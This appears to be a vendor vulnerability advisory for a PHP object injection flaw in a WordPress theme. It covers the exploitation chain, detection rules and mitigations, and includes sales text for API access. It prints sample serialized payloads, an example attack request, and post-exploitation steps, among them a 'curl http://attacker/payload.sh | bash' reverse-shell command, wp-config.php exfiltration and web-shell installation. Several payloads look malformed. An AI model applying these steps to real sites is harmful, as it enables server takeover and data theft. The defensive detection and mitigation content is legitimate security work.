CVE-2026-65581
Executive Summary
CVE-2026-65581 is a critical unauthenticated PHP Object Injection vulnerability affecting the WordPress "AI ANN" theme, version 1.29.0 and earlier. This flaw allows remote, unauthenticated attackers to inject arbitrary PHP objects into the application, leading to potential remote code execution (RCE), full site compromise, data theft, and server takeover. The vulnerability carries a CVSS score of 9.8 (Critical) due to its network attack vector, low attack complexity, no privilege requirements, and no user interaction needed. As of this report, no official patch has been released, and all deployments of AI ANN ≤ 1.29.0 remain exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
Vulnerability Mechanism
CVE-2026-65581 is classified under CWE-502 (Deserialization of Untrusted Data), specifically manifesting as a PHP Object Injection vulnerability. The root cause lies in the AI ANN theme's improper handling of unserialize() calls on user-controlled input without adequate sanitization or validation.
In typical WordPress theme code, this vulnerability arises when the theme passes a serialized PHP object from a request parameter (e.g., a cookie, POST field, or query string) directly to PHP's unserialize() function. The AI ANN theme version 1.29.0 contains at least one code path where an attacker-controlled value reaches this dangerous function.
The attack leverages PHP's object deserialization behavior: when unserialize() processes a crafted serialized string, it instantiates any class named in the string and may trigger magic methods such as __wakeup(), __destruct(), __toString(), or __call(). If the WordPress core or plugin/theme codebase contains a "POP chain" (Property-Oriented Programming) — a sequence of magic method calls that leads to arbitrary code execution — the attacker can weaponize the injection for RCE.
Attack Surface
- Attack Vector: Network (remote)
- Authentication: None required (unauthenticated)
- User Interaction: None required
- Affected Component: AI ANN theme ≤ 1.29.0
- Platform: WordPress (PHP-based)
The attack surface is the theme's input handling — any parameter ($_GET, $_POST, $_COOKIE, or HTTP headers) that reaches the vulnerable unserialize() call. Given the unauthenticated nature, the theme's frontend-facing functionality (e.g., AJAX handlers, template hooks, shortcode processing) is the most likely exposure point.
Code-Level Explanation
The typical vulnerable pattern:
$data = isset($_POST['data']) ? $_POST['data'] : '';
$object = unserialize(base64_decode($data)); // No validation
A crafted payload:
O:8:"WP_Posts":4:{s:8:"post_content";s:...}
When deserialized, this instantiates a WordPress core class or a class from within the theme/plugin ecosystem. If that class has magic methods that perform file operations, database queries, or system calls, RCE is achievable.
CVSS v3.1 Breakdown
- AV:N (Network) — Exploitable remotely without physical/logical access.
- AC:L (Low) — No special conditions or race conditions required.
- PR:N (None) — No authentication required.
- UI:N (None) — No victim interaction.
- S:U (Unchanged) — The compromise affects the vulnerable component only (the web application context).
- C:H/I:H/A:H (High/High/High) — Full confidentiality, integrity, and availability impact.
Exploitation Scenarios
Attack Chain: Unauthenticated PHP Object Injection → RCE
Step 1 — Reconnaissance
The attacker identifies targets using Shodan with dorks such as http.title:"AI ANN" or http.html:"ai-ann". They may also use WordPress-specific scanners (e.g., WPScan) to fingerprint the theme version by requesting wp-content/themes/ai-ann/style.css and parsing the "Version: 1.29.0" header. Alternatively, they enumerate theme files via directory traversal or by accessing readme.txt if directory listing is enabled.
Step 2 — Parameter Discovery
The attacker reviews the theme's JavaScript files (e.g., /wp-content/themes/ai-ann/js/ directory) to identify AJAX endpoints and parameter names. Common parameters in such themes include ajax_nonce, data, options, settings, form_data, or serialized_data. They inspect the PHP source (if exposed via backup files, or via wp-json REST API introspection) to locate the unserialize() call.
Step 3 — Payload Construction
Using a known WordPress POP chain gadget (e.g., using WP_Query or theme-specific classes with __destruct methods), the attacker crafts a serialized object:
O:10:"WP_Query_2":1:{s:4:"args";s:47:"--exec=";id;--output=...";}
The attacker then base64-encodes it (if the theme expects encoding) or sends it raw, embedding it in the HTTP request — for example, as a POST parameter or within a cookie value that the theme deserializes.
Step 4 — Delivery and Trigger
The attacker sends an HTTP POST request to the vulnerable endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded
action=ai_ann_process&data=O%3A8%3A%22AnyClass%22%3A1%3A%7Bs%3A4%3A%22cmd%22%3Bs%3A6%3A%22id%3Buname+-a%22%3B%7D
Alternatively, if the vulnerable path is a cookie or a query string, the payload is embedded accordingly. The server's unserialize() call processes the object, triggering the magic method chain.
Step 5 — Code Execution and Post-Exploitation
Once RCE is achieved, the attacker:
- Executes
whoami,id,curl http://attacker/payload.sh | bashto establish a reverse shell. - Creates a new WordPress admin account (
INSERT INTO wp_users...) or patches an existing plugin/theme file to maintain persistence. - Exfiltrates
wp-config.php(containing database credentials) and any sensitive data (customer records, API keys). - Uses the compromised server as a pivot to the internal network (if the web server has internal access).
- Installs a web shell (e.g.,
c99.php) in the web root for persistent backdoor access.
Impact Assessment
Business Impact
- Confidentiality: Complete compromise of all data handled by the WordPress instance: customer PII, payment details (if WooCommerce or similar), business documents, database credentials.
- Integrity: Attacker can modify site content (defacement), inject malicious scripts (affecting all visitors), alter database records (fraud), and backdoor the server.
- Availability: RCE allows total site defacement, server shutdown (DoS via
killorrm -rf), ransomware deployment, or cryptojacking that degrades server performance.
Affected Systems
- All WordPress installations using AI ANN theme versions 1.29.0 and earlier.
- Shared hosting environments where theme compromise can escalate to adjacent tenants (through privilege escalation or shared filesystem access).
- Sites behind WAFs are not automatically protected since the payload is in serialized form and may bypass signature-based filtering.
Blast Radius
- The vulnerable server is fully compromised.
- Downstream: if the server stores customer data, GDPR/CCPA/PIPEDA breach notification is mandatory.
- If the server hosts multiple WordPress sites (multisite), all sites are at risk once the base installation is compromised.
CVSS Reference
The CVSS score of 9.8 reflects Critical severity. High confidentiality, integrity, and availability impacts align with full control of the web application and underlying server.
Detection Guidance
Sigma Rule
title: WordPress AI ANN Theme PHP Object Injection Attempt
id: 7f3a2b6d-9c1e-4d5a-8f4e-2c9d1a5e6071
status: experimental
description: Detects HTTP requests containing serialized PHP object syntax in parameters targeting WordPress AI ANN theme.
author: ValtersIT Threat Intel
date: 2026/02/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'wp-admin/admin-ajax.php'
- 'wp-json/'
c-uri|contains:
- 'O:'
- 'a:'
- 's:'
c-uri|contains|all:
- 'ai_ann'
- 'unserialize'
condition: selection
fields:
- clientip
- useragent
- host
falsepositives:
- Legitimate theme serialization (unlikely)
level: critical
YARA Rule
rule WordPress_AI_ANN_PHP_Object_Injection_Exploit
{
meta:
author = "ValtersIT Threat Intel"
description = "Detects serialized PHP object payloads targeting CVE-2026-65581"
cve = "CVE-2026-65581"
date = "2026-02-10"
strings:
$serialized_pattern = /O:[0-9]+:"[A-Za-z0-9_\\]+"/ nocase
$wp_query = "WP_Query" nocase
$ai_ann = "ai_ann" nocase
$unserialize_ref = "unserialize" nocase
$cookie_or_post = /(data|options|serialized_data)=/ nocase
condition:
$serialized_pattern and ($wp_query or $ai_ann) and 1 of ($cookie_or_post)
}
Suricata IDS Rule
alert http any any -> any any (
msg:"ET EXPLOIT WordPress AI ANN theme PHP Object Injection (CVE-2026-65581)";
flow:established,to_server;
content:"POST"; http_method;
content:"wp-admin/admin-ajax.php"; http_uri;
content:"ai_ann"; http_client_body;
pcre:"/O:\d+:\"[A-Za-z0-9_\\]+\"/Ui";
pcre:"/data=(?:[A-Za-z0-9+/=]+|%[0-9A-Fa-f]{2})+/";
sid:202665581;
rev:1;
reference:cve,2026-65581;
classtype:attempted-admin;
metadata:created_at 2026-02-10, updated_at 2026-02-10;
)
Elastic Detection
sequence by source.ip, user.name with maxspan=5m
[network where event.type == "traffic" and destination.port == 80
and network.protocol == "http"
and http.request.method == "POST"
and url.path like "*wp-admin/admin-ajax.php*"
and http.request.body.text like "*ai_ann*"
and (
http.request.body.text like "*O:*"
and http.request.body.text like regex "O:[0-9]+:\"[A-Za-z0-9_\\\\]+\""
)
]
[process where event.type == "start" and
process.name like "sh" or process.name like "bash" or
process.name like "php" and process.command_line like "*base64*"]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="POST" AND uri_path="*wp-admin/admin-ajax.php*"
| rex field=uri_query "(?<payload>data=[^&]*)"
| regex payload="O:\d+:\"[A-Za-z0-9_\\]+\""
| stats count by src_ip, uri, payload
| eval risk_score = case(count > 5, "HIGH", count > 1, "MEDIUM", 1=1, "LOW")
| table src_ip, uri, payload, count, risk_score
Wazuh OSSEC Rule
<group name="wordpress,cve-2026-65581,php_object_injection,">
<rule id="793386" level="15">
<decoded as="url">
<match>wp-admin/admin-ajax.php</match>
</decoded>
<match>ai_ann</match>
<regex>O:[0-9]+:"[A-Za-z0-9_\\]+"</regex>
<description>WordPress AI ANN theme PHP Object Injection attempt (CVE-2026-65581)</description>
<group>web_application_attack,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Status: UNPATCHED (Patch Confidence: 0/4). No patch evidence exists from any tracked source. The vendor has not released a fixed version as of the date of this report.
1. Immediate Mitigations
- Disable the AI ANN theme: Switch to a default WordPress theme (e.g., Twenty Twenty-Four). This removes the vulnerable code path entirely.
- Web Application Firewall (WAF) rules: Deploy WAF rules (ModSecurity, Cloudflare, AWS WAF) that block requests containing serialized PHP object patterns in POST parameters, cookies, or query strings. Use rule patterns similar to the Suricata rule above.
- Input validation: If the theme cannot be disabled immediately, use a WordPress security plugin (e.g., Wordfence) with vetted custom rules to block requests containing
O:followed by:and a digit (serialized object pattern). - Network segmentation: Place the web server behind a reverse proxy that logs and can block suspicious traffic.
2. Patch/Upgrade Steps
- Monitor vendor channels: Subscribe to Patchstack's advisory feed and the theme vendor's update notifications. As soon as a patched version (≥ 1.30.0) is released, apply it immediately.
- Manual code hardening (temporary): If feasible, analyze the theme code for
unserialize()calls on user-supplied input and replace with safe alternatives (json_decode()with validation, or type-checking before deserialization on whitelisted classes only). - Version control: If you self-host the theme, maintain a fork with the
unserialize()call removed until the vendor patches.
3. Long-Term Hardening
- Least privilege: Run the PHP-FPM worker under a low-privilege user with limited filesystem write access (chroot or restricted via
open_basedir). - Disable dangerous PHP functions: In
php.ini, setdisable_functions=unserializeif the theme does not legitimately require it (unlikely to be default). - Regular updates: Enforce a policy for timely WordPress core, theme, and plugin updates.
- Security monitoring: Deploy a SIEM/wazuh agent on all web servers to monitor for exploit attempts.
- Backups: Maintain immutable off-site backups to allow quick recovery from defacement or ransomware.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-65581 — official CVE details, CVSS vector, and description.
- Patchstack Advisory: https://patchstack.com/database/vulnerability/ai-ann-theme/wordpress-ai-ann-theme-1-29-0-php-object-injection — vendor disclosure with technical details.
- CWE-502 Reference: https://cwe.mitre.org/data/definitions/502.html — deserialization of untrusted data weakness documentation.
- OWASP Deserialization Cheat Sheet: https://owasp.org/www-project-cheat-sheets/cheatsheets/Deserialization_Cheat_Sheet.html — mitigation patterns for PHP object injection.
- WordPress Theme Review Handbook: https://developer.wordpress.org/themes/ — best practices for theme code security (reference for secure coding remediation).
Threat Actor Activity: As of this report, there is no evidence of coordinated exploitation campaigns in the wild specifically targeting CVE-2026-65581. The vulnerability was disclosed by Patchstack on an undisclosed date; given the critical CVSS score, active scanning is anticipated. Security teams should prioritize detection rules and mitigations proactively.
CISA KEV Status: Not listed in CISA's Known Exploited Vulnerabilities catalog. No exploit-in-the-wild evidence has been confirmed by CISA.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.